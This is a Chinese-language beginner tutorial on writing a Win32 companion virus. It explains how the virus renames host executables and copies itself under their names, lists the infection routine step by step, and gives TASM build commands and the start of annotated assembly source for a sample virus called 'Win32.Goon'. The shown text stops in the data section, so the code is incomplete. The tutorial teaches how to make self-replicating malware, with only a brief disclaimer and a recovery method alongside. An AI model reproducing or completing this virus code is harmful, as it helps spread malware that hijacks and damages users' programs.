网络安全 频道

对简单Win32伴侣病毒的研究

朋友们好,今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它!

【声明:文中代码仅供参考,请勿用于不当之处!】

1.什么是伴侣病毒

伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名。当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原理图。

第一步:

/-------------\ /-----------\

| | | |

| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

| | ;原先文件名 | | ;API函数: GetCommandLineA

\-------------/ \-----------/

第二步:

/-------------\ /-----------\

| | | |

| Program.EXE | | Virus.EXE |

| | | |

\-------------/ \-----------/

|

|

复制为

|

|

/-------------\

| |

| Program.SYS |

| |

\-------------/

第三步:

/-------------\ /-----------\

| | | |

| Program.EXE |<---------复制为-----------| Virus.EXE |

| | | |

\-------------/ \-----------/

恢复方法:

删除Program.EXE,把Program.SYS重命名回Program.EXE,所做就这些了。

2.伴侣病毒如何工作的

(1) 获取病毒文件的文件名

(2)创建宿主文件的原先文件名

(3)在当前目录搜索到第一个文件

(4)将目标文件复制为另一个文件名

(5)把病毒文件复制为目标文件的原先文件名

(6)搜索下一个文件->重复(4) -->没有其他文件 跳到7.

(7)运行宿主程序 (经过了步骤2)

(8)病毒退出

3.带注释的病毒例子

理论够充足了,让我们看它怎么工作。编译方法:

TASM32 /z /ml /m3 Goon,,; 

TLINK32 -Tpe -c Goon,Goon,, import,lib 





;-----cut----------------------------------------Goon.asm-------------------

.386     ;386指令集 

.model flat    ;内存平坦模式 

jumps     ;TASM rulez 



;+++++ 

; 你能理解,我想 :) 

;+++++ 





extrn GetCommandLineA :PROC  ;获取病毒文件和宿主文件 

extrn lstrcpyA  :PROC  ;复制字符串 

extrn FindFirstFileA :PROC  ;搜索当前目录第一个匹配的文件 

extrn FindNextFileA :PROC  ;通过文件句柄搜索下一个文件 

extrn CopyFileA  :PROC  ;复制文件 (往上看 _2_) 

extrn CreateProcessA :PROC  ;运行宿主 

extrn ExitProcess :PROC  ;退出病毒程序  



;+++++ 

; 这里,我们声明必需的API函数 

; 我想你能理解 

;+++++ 





.data 

Goon   db ’Win32.Goon - Virus’,0 

   db ’Only a Example Code’,0 

   db ’by  DiA/auXnet’,0 





FILETIME  STRUC 

FT_dwLowDateTime dd ? 

FT_dwHighDateTime dd ? 

FILETIME  ENDS 



WIN32_FIND_DATA          label    byte 

 WFD_dwFileAttributes    dd       ? 

 WFD_ftCreationTime      FILETIME ? 

 WFD_ftLastAccessTime    FILETIME ? 

 WFD_ftLastWriteTime     FILETIME ? 

 WFD_nFileSizeHigh       dd       ? 

 WFD_nFileSizeLow        dd       ? 

 WFD_dwReserved0         dd       ? 

 WFD_dwReserved1         dd       ? 

 WFD_szFileName          db       260d dup (?) 

 WFD_szAlternateFileName db       13   dup (?) 

 WFD_szAlternateEnding   db       03   dup (?) 



;+++++ 
0
相关文章